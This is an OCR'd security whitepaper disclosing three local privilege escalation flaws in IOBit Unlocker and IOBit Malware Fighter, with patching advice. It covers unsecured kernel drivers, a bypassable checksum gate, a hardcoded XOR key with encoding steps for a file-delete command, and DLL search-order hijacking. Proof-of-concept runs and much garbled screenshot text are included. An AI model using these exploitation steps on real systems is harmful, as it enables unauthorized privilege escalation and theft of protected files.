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Overview

I have found three vulnerabilities in both IOBitUnlocker and IOBitMalwareFighter. All these
vulnerabilities lead to Local Privilege Escalation and will likely receive a high severity CVSS
score of around 7 — 8. This whitepaper will first explain the vulnerabilities, then display
proof of concepts for each one.

All screenshots of decomplication have been heavily edited and renamed. These functions
and variable names were based on my best guesses of decompiled code and may not
perfectly reflect real code and naming structure.

All programs have been tested with the most recent build of products at time of
submission. Malware Fighter was on version 13.2.0, and Unlocker was on version 1.3.0.

Table of Contents

OVEIVIBW .ueuereieininiririiiaieieieteststssasaseseserassssssasssesesessssssasasesesssessssasssesessssssssasasesesassss 1

I0BitUnlocker Driver VUINEIrability ...........ccceveieieririeieiaieieiererirseseieietessssssasesesesesassssass 2
1 o Yo LU Lo 4T o S 2
Reverse ENGINEEIING c..cciiuiiiiiiiiiiiiiieiiiieieniiieietesseisesssresessssessssssesessssssessssssessssssessssssssesssns 2
PatChiNg . .cucuiiiiiiiiiiiiiiiiiiiiiiiiiiiieitesicietesesseresesseresesssresessssessssssesessssssessssssessssssesessssssesssns 4

Malware Fighter Driver VUINErability ...........ccieiuiieiniieiiiieiiiieiisecssecssecnssssassssassssasses 4
111 oY [ Lo 4T o S 4
Reverse ENGINEEIING c.cciiuiiiiiiiiiiiiiieiiiiiieniiietecesseisesssretessssessssssesessssssessssssessssssesessssssessses 5
Proof Of CONCEPT .cuciiiiiiiiiiiiiiiiiiteteteteteretetesesesescssscasesasasesasesasesssssesssesssesesssesesasasasasssane 6
DLL Proxying to Local Privilege Escalation......ccccoccicieiiiiieniiiiinienicieienicieieseiiesesessesesessssesasss 7
PatChiNg . .cucuiiiiiiiiiiiiiiiiiiiiiiiiieiieitesisietesesseresesseressssssesessssessssssesessssssessssssessssssssessssssessses 9

Malware Fighter DLL VUINErability .........ceceeiuineiniieiniieiiiieiiiiecssecssecnssocassssassssassssasses 9
[ 1 o Yo LU Lo 4T o S 9
ANALY SIS cueiiiiiiiiiiiiiiiiiiieteietetetetetetetetersesesessssssssssssssasssssasasasesasssasssesssesesesesesesesasasasasasans 9
= 1o o 1 0¥ RN 1

7o) 4 07 1 (= [N 12



Nathan Sawyer 2

|OBitUnlocker Driver Vulnerability

Introduction

The program IOBitUnlocker includes a driver, |IOBitUnlocker.sys. This driver can be used to
force unlock and move files through the kernel. When the IOBitUnlocker program is
running, this driver is loaded. This driver can be communicated with from any process from
any privileged, allowing for a medium integrity process to use all functions that
IOBitUnlocker provides.

Reverse Engineering

Decomplication also displays that this device validates the calling process through two
checksum checks, which can easily be bypassed. By ensuring the proof-of-concept
process passes these two checks, this allows for this proof of concept to directly issue
commands to the driver without requiring high integrity.

Analysis shows that this driver is created insecurely. loCreateDeviceSecure is not issued,
meaning there is no restriction on the integrity of the process that interacts with the drivers.

_———— e —— i 4

local_30 = L"\\Device\\IObitUnlockerDevice";
local_28 = 62;
local_26 = 64;
local_20 = L"\\DosDevices\\IObitUnlockerDevice";
uVar2 = IoCreateDevice(param_1,0,&local_38,34,0,0,local_resl8);
if (-1 < (int)uvar2) {

uVarl = IoCreateSymbolicLink(&local_28,&local_38);

uvVar2 = (ulonglong)uVaril;

if ((int)uvarl < 0) {

IoDeleteDevice(local _res18[0]);
}

- -

This allows an unprivileged user mode process to directly send IRP requests to the driver.

However, just the ability to send requests does not mean that this driver is particularly
vulnerable yet. Later in the decomplication process it was discovered that this driver
verifies the process is |IOBitUnlocker through two checksum checks. These values are
hardcoded into the actual program. The below screenshot is a result of annotated driver
code decompiled through Ghidra. The xorsum check functions by taking every byte of the
file and performs an XOR with the next byte of the file. The second check is the alternating
sum check. This check functions by adding the bytes. If the byte index is even, it adds a
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byte to the total. If the byte index is odd, it subtracts the byte value from the total. The byte
index is the specific position of a byte within the file.

sigchecker(filename,alternatingsum,xorsum);
filename[4] = 0;
local_le = 0;
local _la = 0;
filename[@] = 0;
filename[1l] = 0;
ExFreePoolWithTag(puVar3,1768776039);
if ((alternatingsum[@] == 43) && (xorsum[@] == 11044471)) {
return 0;
}
}
return 3221225473;

This checking system is insufficient to secure a device driver. Instead, simply ensure the
device is created securely.

To exploit this, | created a program to add these hardcoded checksums to any program.
This executable is included in the Unlocker folder. Below is a screenshot of how to call and
run it.

PS C:\Users\nathan\source\repos\driverhandlerchecker\x64\Release> .\checksumpatcher.exe .\driverhandlerchecker.exe
Original File Size: 235449 bytes

Current Alternating Sum: 11044471

Current XOR Sum: 43

File already has the correct checksums. No changes needed.

PS C:\Users\nathan\source\repos\driverhandlerchecker\x64\Release>

The included proof of conceptis called driverhandlerchecker. Both the executable and
source code are included in the Unlocker folder. | have added functionality for both move
and copy operations, and flags can be specified to decide what degree of forcing will be
done.

In the below example, afile in the root of the C drive was copied ot the root of the C drive
under a different name. The permissions are not retained after the copy.
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PS C:\Users\nathan> C:\Users\nathan\source\repos\driverhandlerchecker\x64\Release\driverhandlerchecker.exe

k J I 45
——— Sending Request —-
Source: C:\DumpStack.log

Dest: C:\copied.txt B’ 10bit Unlocker

Subtype: 4 | Flags: 5 ™ :

IOCTL Succeeded. Driver returned 4 bytes. " IObit Unlocker v1.3

Ve e e Target file exists/accessible. This tool will help you unlock the files/folders occupied by other processes.
PS C:\Users\nathan> dir C:\ Files/Folders selected

Files/Folders Status

Directory: C: \ Add files/folders to unlock. You can drag and drop files/folders here or diick "Add”

LastWriteTime

9/15/2025 3 inetpub
4/1/2024 : PerflLogs
3/9/2026 3 Program Files
3/3/2026 3 Program Files (x86)

3/10/2026 3 Share

2/13/2026 : Users
3/8/2026 : Windows

1/27/2026 3 112496 appverifUI.dll

3/10/2026 3 12288 copied.txt
3/3/2026 3 12288 DumpStack.log

1/27/2026 3 68120 vfcompat.dll

PS C:\Users\nathan> type C:\copied.txt

DLOGFILE@GOO1000ODUMP

Dump stack initialized at UTC: 2026/03/05 ©3:23:31, local time: 2026/03/64 19:23:31.
#BugCheckCode ©x0000000000000093

This allows any user to copy or move any file they wish. This can be used alongside DLL

sideloading for local privilege escalation or can be used to steal passwords and other
protected files on a computer.

Patching

To patch this vulnerability, ensure that the driver is created securely so only processes with
high integrity can interact with it.

Malware Fighter Driver Vulnerability

Introduction

This device exposes a driver labeled IMFForceDelete123. The driver for this file is located at
"C:\Program Files (x86)\IObit\IObit Malware
Fighter\Drivers\win10_amd64\IMFForceDelete.sys”

The referenced driver can be fully communicated with and the delete function can be
called by a medium integrity process. By deleting a DLL file, the attacker can place their
own malicious DLL within a writeable directory with a proxied version of the same DLL.
With this example, the DLL chosen was a DLL within the IObit Malware Fighter program,
however, many other DLL’s on the system can be chosen for this local privilege escalation.
The referenced driver runs in the background while the computer remains on.
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Reverse Engineering

Similarly to the last driver, this is all possible because the device is created without
IOCreateDeviceSecure and a security string. Any medium integrity process may interact
with this driver.

local_res18[0] = 0;
RtlInitUnicodeString(local_28,L"\\Device\\IMFForceDeletel23");
RtlInitUnicodeString(local_18,L"\\DosDevices\\IMFForceDeletel23");
uVar2 = IoCreateDevice(param_1,0,local_28,34,256,0,local_resl18);
if (-1 < (int)uvar2) {j

uVarl = IoCreateSymbolicLink(local_18,local_28);

uVar2 = (ulonglong)uVarl;

if ((int)uvarl < 0) {

IoDeleteDevice(local_res18([0]1);
}
else {

Further analysis of the available function calls in this driver show how this driver handles
interfacing. This driver reverses a string, decodes it through base64, and applies an xor
operation to that string with a hardcoded key.

o -

if (-1 < filepathlength) {
filepath = stringreverser((longlong)kernelstringloc, (uint) (ushort)stringstruct,filepatharr

);
if ((char)filepath != '\0')
filepath = base64decoder((longlong)filepatharr, (uint) (ushort)stringstruct,
(longlong) filepatharr);

filepathlength = (int)filepath;

if (filepathlength — 1U < 2047) {
filepatharr[filepathlength]l = 0;
apply_xor(filepatharr,filepathlength);
memset (outbuffer,@, (undefinedl %)2048);
errorcode = Rt1UTF8ToUnicodeN(outbuffer,2047,local_res18, filepatharr,filepathlength);
goto LAB_140001401;
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Decompiling of this function displays the hardcoded key within the program used for
encoding the file path.
Cs Decompile: apply_xor - (IMFForceDelete.sys) % . Ro

1
byte % apply_xor(byte xdatabuffer,int length)

{
uint index;
uint currentpos;

byte xlocaldbuffer;

currentpos = 0;
localdbuffer = databuffer;
if (0 < length) {

index = currentpos & 31;
currentpos = currentpos + 1;
xlocaldbuffer = xlocaldbuffer ~ "ax4@0znp8sowqnnc@6mfy@ngz2y6rilbv " [index];

localdbuffer = localdbuffer + 1;
} while ((int)currentpos < length); char(] 00h,01h,"@\02\0"

} wchar16[] 00h,01h,"&A)"
return databuffer;

b Address 140003200
Symbol s_ax40o0znp8sowqgnnc06mfyOngz2y6ribv_140003200

2
3
4
5
6
7
8
9
0
1
2 do {
3
4
5
6
7
8
9
()
1

Therefore, to exploit this program, an attacker must encode their string with the above key,
encode it with base64, then reverse the string. Finally, it must be sent to the driver with the
corresponding IOCTL code. This is the code that determines the correct operation to
continue with. Further decomplication displayed the code required.

Proof of Concept

A proof of concept was written, and the source code and compiled version is attached in
the MalwareFighterDriver folder. To use this proof of concept, put the file that must be
deleted as a command line argument.
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5] cawindows\system32\cmd.e: X R
Directory of c:\

01/16/2026 : 112,496 appverifUI.dll
01/30/2026 2 6,656 CheatDriver.sys
03/10/2026 : 3,146 deleteme.txt
03/05/2026 2 12,288 DumpStack.log
01/30/2026 3 inetpub
02/02/2026 3 KDNET
02/0u/2026 ; 8,704 ksocket.sys
05/06/2022 - PerflLogs
03/0u/2026 ; Program Files
03/04/2026 3 Program Files (x86)
02/19/2026 3 Users
01/16/2026 3 68,088 vfcompat.dll
02/05/2026 3 19,456 VulnerableDriver.sys
03/05/2026 3 <DIR> Windows

7 File(s) 230,834 bytes

7 Dir(s) 2,423,197,696 bytes free

C:\Users\nathan>.\poc.exe "C:\deleteme.txt"
failed. success flag: 1

get last error: ©

return flags: 4

C:\Users\nathan>dir c:\
Volume in drive C has no label.
Volume Serial Number is ©E63-7728

Directory of c:\

01/16/2026 : 112,496 appverifUI.dll
01/30/2026 3 6,656 CheatDriver.sys
03/05/2026 : 12,288 DumpStack.log
01/30/2026 : inetpub
02/02/2026 3 KDNET
02/6u/2026 : 8,70U ksocket.sys
05/06/2022 : PerflLogs
03/6u/2026 : Program Files
03/6u/2026 : Program Files (x86)
02/19/2026 : Users
01/16/2026 : 68,088 vfcompat.dll
02/05/2026 3 19,456 VulnerableDriver.sys
03/05/2026 3 <DIR> Windows

6 File(s) 227,688 bytes

DLL Proxying to Local Privilege Escalation

If LoadLibrary is called without specifying a full path of a DLL, deleting a DLL will cause
windows to search through different search locations, eventually searching through the
User’s Path. By default, this Path folder is writeable without elevated privileges, and is set
to “C:\users\username\Appdata\local\Microsoft\WindowsApps”. The DLL search order can
be further explained in this Microsoft Blog [1].

The ProductNews2 library was chosen and deleted from “C:\Program Files (x86)\IObit\IObit
Malware Fighter\ProductNews2.dll” to start.

By deleting or moving a DLL file from its typical location, this allows an attacker to place
their own DLL with the exact same name as the deleted DLL in their Path folder. However,
the DLL will not load unless all functions are proxied to a copy of the original DLL. To
automate this proxying, the tool SharpDIIProxy [2] was used. This tool creates a copy of the
original DLL, and generated boilerplate code that proxies’ functions to that DLL. Below is
the example of this call.
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PS C:\Users\nathan> C:\Users\nathan\source\repos\SharpDl1Proxy\SharpDl1Proxy\bin\Debug\netcoreapp3.1\SharpDl1Proxy.exe

[+] Reading exports from C:\Program Files (x86)\IObit\IObit Malﬁa1~e Fighter\ProductNews2.dll...
[+] Redirected 15 function calls from ProductNews2.dll to tmp7C92.d1ll

[+] Exporting DLL C source to C:\Users\nathan\output_ProductNews2\ProductNews2_pragma.c
PS C:\Users\nathan> dir

A new DLL project was created with the contents of ProductNews2_Pragma.c. The source
code for this project is available, along with a compiled executable, in the
MalwareFighterDriver folder. The current source code displays the privileges of the current
process in C:\users\public\whoami2.txt. This exploit only triggers on a restart, or if the

Malware Fighter programmed is restarted. To restart this program, a user may select exit in
the Windows application menu.

Open I0bit Malware Fighter
Smart Scan

Tools

Browser Protect

Turn Off Real-time Protection

Check for Updates

Exit

v & O 4116 PM

3/10/2026

Through selecting exit, and relaunching, this exploit can be triggered. Both the
ProductNews2.dll and the temporary DLL must be copied to the user’s Path folder. Below is
a screenshot of the exploit functioning, with the proxied DLL loading with high integrity.
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I Process Monitor - Sysintemals: www.sysinternals.com
File Edit Event Filter Tools Options Help

IPBIPERRIVYOI &I £QANHERBEHE g O Public £ Q
| Time .. Process Name PID  Operation Path Resut Detail
3.073... @IMFexe 7592 (#)CreateFile C:\Program Files (x86)\IObit\IObit Malware Fighter\ProductNews2.dll NAME NOT FOUND Desired Access: R.
g 3073 ©IMFexe 7592 (f)CreateFile C:\Windows'\SysWOW64\ProductNews2.dll NAME NOT FOUND Desired Access: R... (B Details
3073.. @IMFexe 7592 (7 CreateFile C:\Windows \System\ProductNews2.dl NAME NOT FOUND Desired Access: R ~
2 3073.. @INFexe 7592 (73 CreateFie C:\Windows \ProductNews2.dl NAME NOT FOUND Desired Access: R... Name
3.073... @IMFexe 7592 (72 CreateFie C:\Windows\SysWOW64\ProductNews2.dil NAME NOT FOUND Desired Access: R
3.073... @IMFexe 7592 () CreateFie C:\Windows\SysWOW64\ProductNews2.dl NAME NOT FOUND Desired Access: R Libraries
e 3073.. ©IMFexe 7592 (2 CreateFie C:\Windows \ProductNews2.dl NAME NOT FOUND Desired Access: R.
3.073.. @IMFexe 7592 (#)CreateFile C:\Windows'\SysWOW64\wber di NAME NOT FOUND Desired Access: R... Public Account Pictures
[3:073. ©INMFexe 7592 [z)CreateFile C:\Windows\SysWOW64\WindowsPowerShell\v1.0\P 2.dIl NAME NOT FOUND Desired Access: R...|
3073.. @ IMFexe 7592 [f2)CreateFile C:\Windows\SysWOW64\OpenSSH\ProductNews2.dl PATH NOT FOUND Desired Access: R... Public Desktop
3.073... @IMF.exe 7592 (2 CreateFie C:\Program Files Kits\ Tookit di NAME NOT FOUND Desired Access: R
3073... ©IMFexe 7592 (73 CreateFile C y g ie\AppData\Lo \op: dl PATH NOT FOUND Desired Access: R Public Documents
o 3073.. @IMFere 7592 (72 CreateFile [ \AppData\Local 24l SUCCESS Desired Access: R Pl Download
3073.. @IMFexe 7592 ()CreateFie CAU: \AppData\Local it 24l SUCCESS Desired Access: R.. picowmoads
3.073... @IMFexe 7592 €3 Load Image C:\U: \AppData\Local\Mi f 2l SUCCESS Image Base: 0x723... Public Music
3073.. @ IMFexe 7592 (72 CreateFie CAU \AppData\Loc \ di SUCCESS Desied Access: G...
Public Pictures
Public Videos
Showing 16 of 172,876 events (0.0092%) Backed by virtual memory B testaxt
File  Edit  View v =v B I © @- & ([ 3
System32 || test_log.txt
[E] whoami2.xt
PRIVILEGES INFORMATION EiEhe
””””””””””” SysWOW64
Privilege Name Description State B Process Monitor Filter
SelncreaseQuotaPrivilegs Adjust memory quotas for a process Disabled Display entries matching these conditions:
SeSecurityPrivilege Manage auditing and security log Disabled  Architecture v s v | then
SeTakeQwnershipPrivilege Take ownership of files or other objects Disabled
SeloadDriverPrivilege Load and unload device drivers Disabled R
- +E . 3 eset Add
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled | | Column Relation Value
Selnc riorityPrivilege Increase scheduling priority Disabled | |@0pertion s CreateFie
SeCreatePagefilePrivilege Create a i Disabled |@@O0peration s Load Image
SeBackupPrivilege Back up files and directories Disabled | |(J(JResut is NAME NOT FO.
SeRestorePrivilege Restore files and directories Disabled D, Path begins with Ciusers
SeShutdownPrivilege Shut down the system Disabled | |@&@Path ends with ProductNews2dl  Include
SeDebugPrivilege Debug programs Disabled | |@Qiteaity s High Include
SeSystemEnvironmentPrivilege Modify firmeare environment values Disabled B Pocess ... is Procmon64exe  Exclude
SeChangeNotifyPrivilege Bypass traverse checking Enabled Activate VWi
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled = "
SeUndockPrivilege Remove computer from docking station Disabled Sancs
SeManageVolumePrivilege Perform volume maintenance tasks Disabled

Patching

To patch this vulnerability, ensure that the driver is created securely so only processes with

high integrity can interact with it.

Malware Fighter DLL Vulnerability

Introduction

Malware Fighter, on startup, searches for a DLL that does not exist. Due to the DLL search

order, which has previously been explained in this paper, an attacker can simply place their

DLL in their user’s Path folder. This folder is writeable by default. An attacker can simply

place a DLL in their Path with the correct name, and this DLL will now run with High integrity

when Malware Fighter is re-launched, or the computer is restarted.

Unlike the last vulnerability, to trigger this vulnerability the application’s GUI simply needs

to be opened.

Analysis

Process Monitor by Sysinternals [3] was used to discover this vulnerability. The filter

applied is visible in this screenshot. This filter searches for all DLL’s that were not found but
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referenced and searched for by the program under high integrity. The DLL search order is

visible here.

File

Edit

Monit

Event

Tools

Options

Help

PRICEQIVFO & £QANE RN

Time ...

3:025...
3:025..
3:025...
3:025...
3:02:5...
3:.025...
3:.025...
3:025...
3:02:5...
3:.025...
3:025..
3:02:5...
3:02:5...

Process Name

© IMFexe
© IMFexe
© IMF exe
© IMF exe
© IMF exe
© IMFexe
© IMF exe
© IMF exe
© IMFexe
© IMFexe
© IMF exe
© IMF exe
© IMF exe

PID

12756
12756
12756
12756
12756
12756
12756
12756
12756
12756
12756
12756
12756

Operation

i CreateFile
1 CreateFile
2)CreateFile
2)CreateFile
1 CreateFile
2)CreateFile
i+ CreateFile
2)CreateFile
i CreateFile
iCreateFile
1 CreateFile
2)CreateFile
2)CreateFile

Path

C:\Program Files (x86)\IObit\IObit Malware Fighter\Register.dil
C:\Windows\SysWOW64\Register.dll
C:\Windows\System\Register.dll

C:\Windows\Register.dll

C:\Windows\SysWOW64\Register.dll
C:\Windows\SysWOW64\Register.dll

C:\Windows\Register.dll
C:\Windows\SysWOW64\wbem'\Register.dll
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Register.dll
C:\Windows\SysWOW64\OpenSSH\Register.dll

C:\Program Files (x86)\Windows Kits\10\Windows Perfomance Toolkit\Register.dl
C:\Windows\SysWOW64\config\systemprofile\App Data'\Local \Microsoft \WindowsApps\Register.dil

C:\Users\nathan\AppData\\Local \Microsoft \WindowsApps\Register.dll

Result Detail

NAME NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...
PATH NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access:
PATH NOT FOUND Desired Access: R...
NAME NOT FOUND Desired Access: R...

B Process Monitor Filter X
Display entries matching these conditions:
Architecture v s v ~| then Include v
Showing 13 of 149,289 events (0.0087%)
T UKD
Reset Add Remove
0KB
Column Relation Value Action 0 KB
u Operation  is CreateFile Include 0 KB
& Operation is Load Image Include
O Resutt is NAME NOTFO...  Include KB
begins with c Include 0KB
ends with Register.dil Include -
is High Include 0KB
6 Process N... is Procmon64 exe Exclude
0KB
73k .64% 3 2,027 K
nemory: 3.83 GB (48.64%) Processes: 170 Cancel A L \ B
Perform vol{ ! .
lon exten... 10KB

Impersonate

The last path checked on the DLL search order is the user’s local AppData folder. This is

lastin the DLL search order, because the user can write any file to this path without

requiring excess permissions. To complete this exploit, | compiled my own DLL and named
it Register.dll. Once this DLL was placed in the displayed AppData path, it loaded with high
integrity.

To display proof of exploitation, | compiled a DLL and placed a function in DLLMain, a

function which executes when a DLL is loaded into a process’s memory. This function ran

whoami /priv and redirected the output to the C:\users\public\whoami.txt public folder. The

source code for this DLL, and a compiled version, is attached in MalwareFighterDLL folder.

The below folder shows my Register.dll being called after Malware Fighter is opened. The

integrity is High, and this results in a local privilege escalation, as shown in the whoami
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o — n
| File Edit Event Fiter Tools Options Help « X Wine X Publ X b+ -
Bl & =R & !
PBIPBRRIVYPOI&IFANEHHRBE < A~ G @ > - Public >
Process Name PID Operation Path Result De
O IMFexe 7592 (#)CreateFile C:\Program Files (x86)\Obit\IObit Malware Fighter\Register.dll NAME NOT FOUND Des
O IMFexe 7592 (CreateFile C:\Windows\SysWOW64\Register.dil NAME NOT FOUNDDes (D New
O IMFexe 7592 ‘:nJCrealeFlle C:\Windows\System\Register.dil NAME NOT FOUND Des .
OINFere 7592 (f)CreateFle  C:\Windows\Registerdl NAMENOTFOUNDDet o oo Name Dat
.. ©IMFexe 6 C:\Windows\SysWOW64\Register.dll NAME NOT FOUND Des
. ©IMFexe C:\Windows\SysWOW64\Register.dll NAME NOT FOUND Des Libraries 5/6,
O IMFexe C:\Windows \Register.dil NAME NOT FOUND Deg ’
O IMFexe C:\Windows\SysWOW4\wbem\Register.di NAME NOT FOUND Des Public Account Pictures 73
O IMFexe [« ysV( 1.0\Register.dll NAME NOT FOUND Des (Gl Desktop »
O IMFexe 7592 (72 CreateFie C:\Windows\SysWOW64\OpenSSH\Register.dll PATH NOT FOUND Des Public Desktop N
O IMFexe 7592 (7 CreateFie C:\Program Files (¢36) Kits\ Toolkit\Register di NAME NOT FOUND Deg L Downloads #
O IMFexe 7592 [f)CreateFie C y: \AppData\Local\Microsoft egister.di PATH NOT FOUND Deg Public Documents 3/4
7592 (75)CreateFie C:\U AppDataLox \ops\Register.dl SUCCESS Des & Documents # !
7592 [i3)Createfile C:A\Us AppData'\Local\Mi i \ops \Register.dil SUCCESS Des Public Downloads 5/6,
7592 £3load Image  C:\U: AppData\Lo i \pps\Register di SUCCESS Ima R Pictures £ o »
7592 i CreateFie CAU: AppData\Loc: i \ops\Register.dl SUCCESS Det Public Music 3/4
O Music » Public Pictures 3/4
i3 Videos » Public Videos 3/4,
Showing 16 of 172,876 events (0.0092%) Backed by virtual memory \ . .
| File Edit  View HIv =V B I @ WYy % %= Local Disk (C # [ testaxt 35
Ssemi2 4 [5] test_log.txt 31
PRIVILEGES INFORMATION public 4 (Bl whoamizext ¥
********************** [ whoamisxt 31
SysWOW64
Privilege Name Description Sta
SelncreaseQuotaPrivilege Adjust memory quotas for a process Dis .
SeSecurityPrivilege Manage auditing and security log Dis 3 This PC
&MMRM&& Take ownership of lees or.‘ other objects D}s > w= CD Drive (D2 vir
— SeleadDriverPrivilege Load and unload device drivers Dis 12t
SeSystemProfilePrivilege Profile system performance Dis ftems
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled Column Relation Value Action
SelncreaseBasePriorityPrivilege Increase scheduling priority Disabled BG0peration s CreateFile Include
SeCreatePagefilePrivilege Create a pagefile Disabled B (H0pertion  is Load Image Include
SeBackupPrivilege Back up files and directories Enabled O & Resutt is NAMENOTFO...  Include
SeRestorePrivilege Restore files and directories Enabled O@rath begins with Co\users Include
SeShutdownPrivilege Shut down the system Disabled BGrath ends with Register.dll Include
SeDebugPrivilege Debug programs Disabled 8@ Integrty is High Include
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled @€ Process L is Procmonb4exe  Exclude
SeChangelotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
ivi Remove computer from docking station Disabled oK
CaManaaal/nlumaPrivilaaa Panfarm vinluma maintenanca tacke Nicahlad
=m » = P 3:08 PM
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This exploit can be launched by launching Malware Fighter even if the service is already

running.

Patching

To patch this vulnerability, remove insecure load library call to Register.dll. Call this DLL
through its full path. This will completely remove this vulnerability.
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